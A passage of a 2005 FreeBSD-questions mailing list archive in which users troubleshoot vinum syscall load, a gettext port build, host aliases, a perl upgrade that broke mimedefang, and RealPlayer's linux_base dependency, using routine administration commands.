Bandac > Directory: /home/petre Shell: /usr/local/bin/zsh > On since Mon Feb 7 09:27 (EET) on ttyv0, idle 2 days 0:36 (messages > off) > Last login Tue Feb 8 20:49 (EET) on ttypa from 213.157.185.173 > New mail received Mon May 24 19:09 2004 (EEST) > Unread since Tue Feb 17 12:31 2004 (EET) > No Plan. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 10:41:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 63BAE16A4CE for ; Wed, 9 Feb 2005 10:41:01 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7DE1A43D41 for ; Wed, 9 Feb 2005 10:40:57 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j19AenGf020547 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Feb 2005 02:40:49 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j19Aelxb020545; Wed, 9 Feb 2005 02:40:47 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Wed, 9 Feb 2005 02:40:47 -0800 From: "Loren M. Lang" To: "Marc G. Fournier" Message-ID: <20050209104047.GN8619@alzatex.com> References: <20050208231208.B94338@ganymede.hub.org> <20050209002232.B94338@ganymede.hub.org> <20050209011528.X94338@ganymede.hub.org> <20050209022929.D94338@ganymede.hub.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050209022929.D94338@ganymede.hub.org> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: Dan Nelson cc: freebsd-questions@freebsd.org Subject: Re: vinum in 4.x poor performer? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 10:41:01 -0000 On Wed, Feb 09, 2005 at 02:32:30AM -0400, Marc G. Fournier wrote: > > Is there a command that I can run that provide me the syscall/sec value, > that I could use in a script? I know vmstat reports it, but is there an > easier way the having to parse the output? a perl module maybe, that > already does it? vmstat shouldn't be too hard to parse, try the following: vmstat|tail -1|awk '{print $15;}' To print out the 15th field of vmstat. Now if you want vmstat to keep running every five seconds or something, it's a little more complicated: vmstat 5|grep -v 'procs\|avm'|awk '{print $15;}' > > Thanks ... > > On Wed, 9 Feb 2005, Marc G. Fournier wrote: > > >On Tue, 8 Feb 2005, Dan Nelson wrote: > > > >>Details on the array's performance, I think. Software RAID5 will > >>definitely have poor write performance (logging disks solve that > >>problem but vinum doesn't do that), but should have excellent read > >>rates. From this output, however: > >> > >>>systat -v output help: > >>> 4 users Load 4.64 5.58 5.77 > >> > >>>Proc:r p d s w Csw Trp Sys Int Sof Flt > >>> 24 9282 949 8414***** 678 349 8198 > >> > >>>54.6%Sys 0.2%Intr 45.2%User 0.0%Nice 0.0%Idl > >> > >>>Disks da0 da1 da2 da3 da4 pass0 pass1 > >>>KB/t 5.32 9.50 12.52 16.00 9.00 0.00 0.00 > >>>tps 23 2 4 3 1 0 0 > >>>MB/s 0.12 0.01 0.05 0.04 0.01 0.00 0.00 > >>>% busy 3 1 1 1 0 0 0 > >> > >>, it looks like your disks aren't being touched at all. You are doing > >>over 99999 syscalls/second, though, which is mighty high. The 50% Sys > >>doesn't look good either. You may have a runaway process doing some > >>syscall over and over. If this is not an MPSAFE syscall (see > >>/sys/kern/syscalls.master ), it will also prevent other processes from > >>making non-MPSAFE syscalls, and in 4.x that's most of them. > > > >Wow, that actually pointed me in the right direction, I think ... I just > >killed an http process that was using alot of CPU, and syscalls drop'd > >down to a numeric value again ... I'm still curious as to why this only > >seem sto affect my Dual-Xeon box though :( > > > >Thanks ... > > > >---- > >Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) > >Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 > >_______________________________________________ > >freebsd-questions@freebsd.org mailing list > >http://lists.freebsd.org/mailman/listinfo/freebsd-questions > >To unsubscribe, send any mail to > >"freebsd-questions-unsubscribe@freebsd.org" > > > > ---- > Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) > Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 10:43:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8964B16A4CE for ; Wed, 9 Feb 2005 10:43:42 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 36C8443D54 for ; Wed, 9 Feb 2005 10:43:36 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j19AhRGf020582 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Feb 2005 02:43:28 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j19AhQ8v020580; Wed, 9 Feb 2005 02:43:26 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Wed, 9 Feb 2005 02:43:26 -0800 From: "Loren M. Lang" To: Elfar Ingvarsson Message-ID: <20050209104326.GO8619@alzatex.com> References: <7d40cc0a05020804402d379390@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <7d40cc0a05020804402d379390@mail.gmail.com> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: freebsd-questions@freebsd.org Subject: Re: Gettext wont install X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 10:43:42 -0000 On Tue, Feb 08, 2005 at 12:40:14PM +0000, Elfar Ingvarsson wrote: > I'm getting this error while trying to reinstall gettext port version 0.14.1 > This is the error I'm getting Try doing a make clean in the port directory and starting over. If that fails, updating your ports tree might fix the problem. > > Making install in lib > Making install in libasprintf > mkdir -p -- . /usr/local/lib > /bin/sh /usr/local/bin/libtool15 --mode=install /usr/bin/install -c -o > root -g wheel libasprintf.la /usr/local/lib/libasprintf.la > /usr/bin/install -c -o root -g wheel .libs/libasprintf.so.0 > /usr/local/lib/libasprintf.so.0 > install: .libs/libasprintf.so.0: No such file or directory > *** Error code 71 > > Stop in /usr/ports/devel/gettext/work/gettext-0.14.1/gettext-runtime/libasprintf. > *** Error code 1 > > Stop in /usr/ports/devel/gettext/work/gettext-0.14.1/gettext-runtime/libasprintf. > *** Error code 1 > > Stop in /usr/ports/devel/gettext/work/gettext-0.14.1/gettext-runtime. > *** Error code 1 > > Stop in /usr/ports/devel/gettext/work/gettext-0.14.1. > *** Error code 1 > > Stop in /usr/ports/devel/gettext. > > Im running FreeBSD 5.3-STABLE FreeBSD 5.3-STABLE #0: Sun Jan 30 > 16:28:03 GMT 2005 > > any hints would be appreciated > > elfar > > PS: please cc me, I'm not on the list > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 10:48:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0E34116A4CE for ; Wed, 9 Feb 2005 10:48:54 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4A49A43D1D for ; Wed, 9 Feb 2005 10:48:49 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j19AmeGf020647 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Feb 2005 02:48:40 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j19AmZn1020645; Wed, 9 Feb 2005 02:48:35 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Wed, 9 Feb 2005 02:48:35 -0800 From: "Loren M. Lang" To: Ken Hawkins Message-ID: <20050209104835.GP8619@alzatex.com> References: <4267ae6afacb340fbe4f67e404276a7d@rosewoodblues.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4267ae6afacb340fbe4f67e404276a7d@rosewoodblues.com> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: " " Subject: Re: handling multiple ips on a box? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 10:48:54 -0000 On Mon, Feb 07, 2005 at 09:51:01AM -0500, Ken Hawkins wrote: > > Your message > > To: 'freebsd-questions@freebsd.org' > Subject: handling multiple ips on a box? > Sent: Wed, 2 Feb 2005 10:17:55 -0600 > > did not reach the following recipient(s): > > 'freebsd-questions@freebsd.org' on Fri, 4 Feb 2005 10:18:33 -0600 > The message was undeliverable because the recipient specified in the > recipient postal address was not known at this address > The MTS-ID of the original message is: c=US;a= > ;p=Broadjam;l=HERMES-050202161755Z-19504 > MSEXCH:IMS:Broadjam:HQ:HERMES 3450 (000B09AA) 450 Client host > rejected: cannot find your hostname, [68.249.86.134] > > > > From: Ken Hawkins > Date: February 2, 2005 11:17:55 AM EST > To: "'freebsd-questions@freebsd.org'" > Subject: handling multiple ips on a box? > > > Sorry if this is not quite the place to ask however, if it is not can > someone point me toward the right resource (on the net) for answers. I > am > running FreeBSD on a box with an ethernet; > ifconfig > em0: flags=8843 mtu 1500 > options=1b > inet ???.???.???.151 netmask 0xffff0000 broadcast 10.50.255.255 > inet6 fe80::230:48ff:fe2c:76e2%em0 prefixlen 64 scopeid 0x1 > inet ???.???.???.152 netmask 0xffffffff broadcast 10.50.1.152 > inet ???.???.???.153 netmask 0xffffffff broadcast 10.50.1.153 > ether 00:30:48:2c:76:e2 > media: Ethernet 100baseTX > status: active > > the are just our ips. you will notice that .152 and .153 are > aliases > and are mapped to external ips via a switch. my question is how can I > resolve names to the ip aliases on the box? ie > > ???.???.???.152 -> a.net > > and > > ???.???.???.153 -> b.net > > is this a /etc/hosts kind of entry? > > ???.???.???.152 web1.a.net web1 > ???.???.???.152 web1.a.net. > ???.???.???.153 web1.b.net web1 > ???.???.???.153 web1.b.net. I'm assuming the ???'s in the hosts file are 10.50.1, right? Remove the 2nd and 4th lines, and that the alias web1 occurs twice is bad. Otherwise it should be fine. > > any help would be greatly appreciated! > > ken; > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 11:12:33 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id DDF3D16A4CE for ; Wed, 9 Feb 2005 11:12:33 +0000 (GMT) Received: from highland.isltd.insignia.com (highland.isltd.insignia.com [195.74.141.1]) by mx1.FreeBSD.org (Postfix) with ESMTP id D88AA43D31 for ; Wed, 9 Feb 2005 11:12:32 +0000 (GMT) (envelope-from subscriber@insignia.com) Received: from inchgower-e1.isltd.insignia.com (inchgower-e0.isltd.insignia.com [195.74.141.61])j19BCUm2048274 for ; Wed, 9 Feb 2005 11:12:31 GMT (envelope-from subscriber@insignia.com) Received: from dylan.isltd.insignia.com (dylan [172.16.64.69]) j19A7oHO086954 for ; Wed, 9 Feb 2005 10:07:50 GMT (envelope-from subscriber@insignia.com) From: Jim Hatfield To: freebsd-questions@freebsd.org Date: Wed, 09 Feb 2005 10:07:59 +0000 Organization: Insignia Solutions Message-ID: X-Mailer: Forte Agent 2.0/32.652 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable X-Scanned-By: MIMEDefang 2.49 on 195.74.141.1 Subject: Failures after upgrading perl X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 11:12:34 -0000 I have a 4.7-based system I use as a mail gateway. Yesterday I did a portupgrade of perl from 5.6.1 to 5.6.2. Today I find that I have no incoming mail, due to mimedefang no longer functioning: >Feb 9 09:56:39 highland mimedefang-multiplexor[91186]: Slave 0 stderr: = Can't locate MIME/Base64.pm in @INC (@INC contains: = /usr/local/lib/perl5/site_perl/5.6.1 = /usr/local/lib/perl5/site_perl/5.6.2/mach = /usr/local/lib/perl5/site_perl/5.6.2 = /usr/local/lib/perl5/site_perl/5.005/i386-freebsd = /usr/local/lib/perl5/site_perl/5.005 /usr/local/lib/perl5/site_perl = /usr/local/lib/perl5/5.6.2/BSDPAN /usr/local/lib/perl5/5.6.2/mach = /usr/local/lib/perl5/5.6.2 .) at = /usr/local/lib/perl5/site_perl/5.6.1/MIME/Words.pm line 85. BEGIN = failed--compilation aborted at /usr/local/lib/perl5/site_per But pkg_info shows p5-MIME-Base64 as present! And it is, but not on any of the directories on the @INC path: >highland# find /usr/local/lib -name Base64.pm -print >/usr/local/lib/perl5/site_perl/5.6.1/mach/MIME/Base64.pm >/usr/local/lib/perl5/site_perl/5.6.1/MIME/Decoder/Base64.pm If I try a portupgrade -f it seems to get confused about perl versions: >highland# portupgrade -f p5-MIME-Base64 >---> Reinstalling 'p5-MIME-Base64-3.05' (converters/p5-MIME-Base64) >---> Building '/usr/ports/converters/p5-MIME-Base64' >=3D=3D=3D> Cleaning for perl-5.6.2_2 >=3D=3D=3D> Cleaning for p5-MIME-Base64-3.05 >=3D=3D=3D> Vulnerability check disabled >=3D=3D=3D> Extracting for p5-MIME-Base64-3.05 >=3D> Checksum OK for MIME-Base64-3.05.tar.gz. >=3D=3D=3D> p5-MIME-Base64-3.05 depends on file: = /usr/local/bin/perl5.6.1 - not found >=3D=3D=3D> Verifying install for /usr/local/bin/perl5.6.1 in = /usr/ports/lang/perl5 >=3D=3D=3D> Vulnerability check disabled >=3D=3D=3D> Extracting for perl-5.6.2_2 >=3D> Checksum OK for perl-5.6.2.tar.gz. >=3D> Checksum OK for BSDPAN-5.6.2.tar.gz. It seems to think it's dependent on perl 5.6.1, which isn't present, then wants to install 5.6.2, which is already installed. Do I have to remove and reinstall all the perl addons due to the upgrade of the perl version? And what's the "mach" directory for? From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 11:20:17 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1214C16A4CE for ; Wed, 9 Feb 2005 11:20:17 +0000 (GMT) Received: from top.daemonsecurity.com (FW-182-254.go.retevision.es [62.174.254.182]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0A8C743D45 for ; Wed, 9 Feb 2005 11:20:16 +0000 (GMT) (envelope-from norgaard@locolomo.org) Received: from [IPv6???1] (localhost.daemonsecurity.com [127.0.0.1]) by top.daemonsecurity.com (Postfix) with ESMTP id DFAAAFD01F; Wed, 9 Feb 2005 12:20:13 +0100 (CET) Message-ID: <4209F1E9.2000701@locolomo.org> Date: Wed, 09 Feb 2005 12:20:09 +0100 From: Erik Norgaard User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.5) Gecko/20050127 X-Accept-Language: en, en-us, da, it, es MIME-Version: 1.0 To: Jim Hatfield References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: Failures after upgrading perl X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 11:20:17 -0000 Jim Hatfield wrote: > I have a 4.7-based system I use as a mail gateway. Yesterday I > did a portupgrade of perl from 5.6.1 to 5.6.2. Today I find that > I have no incoming mail, due to mimedefang no longer functioning: > > > But pkg_info shows p5-MIME-Base64 as present! > And it is, but not on any of the directories on the @INC path > It seems to think it's dependent on perl 5.6.1, which isn't present, > then wants to install 5.6.2, which is already installed. > > Do I have to remove and reinstall all the perl addons due to the > upgrade of the perl version? You should read UPDATING in your ports directory, there you'll find the instructions on how to update perl: 20050201: AFFECTS: users of lang/perl5 and lang/perl5.8 lang/perl5 has been updated to 5.6.2, and lang/perl5.8 has been updated to 5.8.6. you should update everything depending on perl, that is: * first, upgrade your perl installation (use either lang/perl5 or lang/perl5.8, the latter being recommended); * for FreeBSD 4.X, run "use.perl port", so that the system knows you have 5.8.6 or 5.6.2; this step is not needed on FreeBSD 5.X and FreeBSD -CURRENT; * run some magic incantations to upgrade all ports depending on perl, that is run something like : portupgrade -f `(pkg_info -R perl-5\* |tail +4; \ find /usr/local/lib/perl5/site_perl/5.[68].[1245] -type f -print0 \ | xargs -0 pkg_which -fv | sed -e '/: ?/d' -e 's/.*: //')|sort -u` This is likely to fail for a few ports, you'll have to upgrade them afterwards by hand. Cheers, Erik -- Ph: +34.666334818 web: http://www.locolomo.org S/MIME Certificate: http://www.locolomo.org/crt/2004071206.crt Subject ID: A9:76:7A:ED:06:95:2B:8D:48:97:CE:F2:3F:42:C8:F2:22:DE:4C:B9 Fingerprint: 4A:E8:63:38:46:F6:9A:5D:B4:DC:29:41:3F:62:D3:0A:73:25:67:C2 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 11:29:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D7E2B16A4CE for ; Wed, 9 Feb 2005 11:29:26 +0000 (GMT) Received: from highland.isltd.insignia.com (highland.isltd.insignia.com [195.74.141.1]) by mx1.FreeBSD.org (Postfix) with ESMTP id 361AE43D3F for ; Wed, 9 Feb 2005 11:29:26 +0000 (GMT) (envelope-from subscriber@insignia.com) Received: from inchgower-e1.isltd.insignia.com (inchgower-e0.isltd.insignia.com [195.74.141.61])j19BTPq2048404 for ; Wed, 9 Feb 2005 11:29:25 GMT (envelope-from subscriber@insignia.com) Received: from dylan.isltd.insignia.com (dylan [172.16.64.69]) j19BTP8i087092 for ; Wed, 9 Feb 2005 11:29:25 GMT (envelope-from subscriber@insignia.com) From: Jim Hatfield To: freebsd-questions@freebsd.org Date: Wed, 09 Feb 2005 11:29:27 +0000 Organization: Insignia Solutions Message-ID: References: <3203DF3DDE57D411AFF4009027B8C36767DDAF@exchange-uk.isltd.insignia.com> In-Reply-To: <3203DF3DDE57D411AFF4009027B8C36767DDAF@exchange-uk.isltd.insignia.com> X-Mailer: Forte Agent 2.0/32.652 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable X-Scanned-By: MIMEDefang 2.49 on 195.74.141.1 Subject: Re: Failures after upgrading perl X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 11:29:27 -0000 On Wed, 9 Feb 2005 10:07:59 -0000 , in local.freebsd.questions you wrote: >I have a 4.7-based system I use as a mail gateway. Yesterday I >did a portupgrade of perl from 5.6.1 to 5.6.2. Today I find that >I have no incoming mail, due to mimedefang no longer functioning: Bang my head against a wall and repeat ten times: "I will read /usr/ports/UPDATING *before* I do a portupgrade, not after!". From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 11:41:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4D61A16A4CE for ; Wed, 9 Feb 2005 11:41:45 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 03A8B43D45 for ; Wed, 9 Feb 2005 11:41:43 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j19BfbGf021269 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Feb 2005 03:41:37 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j19BfaAT021267; Wed, 9 Feb 2005 03:41:36 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Wed, 9 Feb 2005 03:41:35 -0800 From: "Loren M. Lang" To: Brian John Message-ID: <20050209114135.GQ8619@alzatex.com> References: <4205CA2F.9080107@fusemail.com> <20050207114741.GC8619@alzatex.com> <42084226.2060004@fusemail.com> <20050208195025.GI8619@alzatex.com> <42098485.2080404@fusemail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <42098485.2080404@fusemail.com> User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: "Loren M. Lang" cc: freebsd-questions@freebsd.org Subject: Re: problem with realplayer X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 11:41:45 -0000 On Tue, Feb 08, 2005 at 09:33:25PM -0600, Brian John wrote: > Loren M. Lang wrote: > > >On Mon, Feb 07, 2005 at 10:37:58PM -0600, Brian John wrote: > > > > > >>Loren M. Lang wrote: > >> > >> > >> > >>>On Sun, Feb 06, 2005 at 01:41:35AM -0600, Brian John wrote: > >>> > >>> > >>> >>>> > > > > > > > >>>>Thanks > >>>> > >>>>/Brian > >>>>_______________________________________________ > >>>>freebsd-questions@freebsd.org mailing list > >>>>http://lists.freebsd.org/mailman/listinfo/freebsd-questions > >>>>To unsubscribe, send any mail to > >>>>"freebsd-questions-unsubscribe@freebsd.org" > >>>> > >>>> > >>>> > >>>> > >>> > >>> > >>> > >>It looks like it is already installed. This is what it says when I try > >>to install it: > >>=> Attempting to fetch from > >>http://fedora.quicknet.nl/fedora/fedora/2/i386/RPMS.updates/. > >>gdk-pixbuf-0.22.0-11.3.5.i386.rpm 100% of 222 kB 52 kBps > >>===> Extracting for linux-gdk-pixbuf-0.22.0.11.3.5_1 > >>=> Checksum OK for rpm/gdk-pixbuf-0.22.0-11.3.5.i386.rpm. > >>===> Patching for linux-gdk-pixbuf-0.22.0.11.3.5_1 > >>===> linux-gdk-pixbuf-0.22.0.11.3.5_1 depends on executable: rpm - found > >>===> Configuring for linux-gdk-pixbuf-0.22.0.11.3.5_1 > >>===> Installing for linux-gdk-pixbuf-0.22.0.11.3.5_1 > >>===> linux-gdk-pixbuf-0.22.0.11.3.5_1 depends on file: > >>/compat/linux/etc/redhat-release - found > >>===> Generating temporary packing list > >>===> Checking if graphics/linux-gdk-pixbuf already installed > >>gdk-pixbuf-0.22.0-11.3.5.i386.rpm > >> > >>Any other clue what might have caused this? > >> > >>Thanks for the help > >> > >>/Brian > >> > >> > > > > > > > I already tried uninstalling realplayer and gdk-pixbuf using make > deinstall and make reinstall in those ports. I installed realplayer > from ports. How can I install linux-base-rh-9? I would like to try that. Here's an idea, since linux_base is already installed, try: portupgrade -o emulators/linux_base-rh-9 /var/db/pkg/linux_base-* This tells portupgrade to upgrade the linux_base port, but use the origin for the rh9 version. I'm not certain this will work, but it's worth a try. I just did a pkg_create -b linux_base-* to make a backup, then pkg_delete -f linux_base-* and portinstall emulators/linux_base-rh-9. > > thanks > > /Brian -- I sense much NT in you. NT leads to Bluescreen. Bluescreen leads to downtime. Downtime leads to suffering. NT is the path to the darkside. Powerful Unix is. Public Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 11:49:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7ABA016A4CE for ; Wed, 9 Feb 2005 11:49:32 +0000 (GMT) Received: from hosea.tallye.com (joel.tallye.com [216.99.199.78]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7EC0243D2D for ; Wed, 9 Feb 2005 11:49:29 +0000 (GMT) (envelope-from lorenl@alzatex.com) Received: from hosea.tallye.com (hosea.tallye.com [127.0.0.1]) by hosea.tallye.com (8.12.8/8.12.10) with ESMTP id j19BnMGf021385 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 9 Feb 2005 03:49:22 -0800 Received: (from sttng359@localhost) by hosea.tallye.com (8.12.8/8.12.10/Submit) id j19BnJXs021383; Wed, 9 Feb 2005 03:49:19 -0800 X-Authentication-Warning: hosea.tallye.com: sttng359 set sender to lorenl@alzatex.com using -f Date: Wed, 9 Feb 2005 03:49:19 -0800 From: "Loren M. Lang" To: Ted Mittelstaedt Message-ID: <20050209114919.GR8619@alzatex.com> References: <20050209053242.GL8619@alzatex.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.1i X-GPG-Key: ftp://ftp.tallye.com/pub/lorenl_pubkey.asc X-GPG-Fingerprint: B3B9 D669 69C9 09EC 1BCD 835A FAF3 7A46 E4A3 280C cc: "Loren M. Lang" cc: freebsd-questions@freebsd.org Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 11:49:32 -0000 On Tue, Feb 08, 2005 at 11:06:13PM -0800, Ted Mittelstaedt wrote: > > > > -----Original Message----- > > From: owner-freebsd-questions@freebsd.org > > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Loren M. Lang > > Sent: Tuesday, February 08, 2005 9:33 PM > > To: freebsd-questions@freebsd.org > > Subject: Re: favor > > > > > > What if I wanted to put up a page of emails that I wrote and sent to, > > say, the freebsd questions mailing list. Since they are > > replies to other > > peoples emails, it includes bits of what they 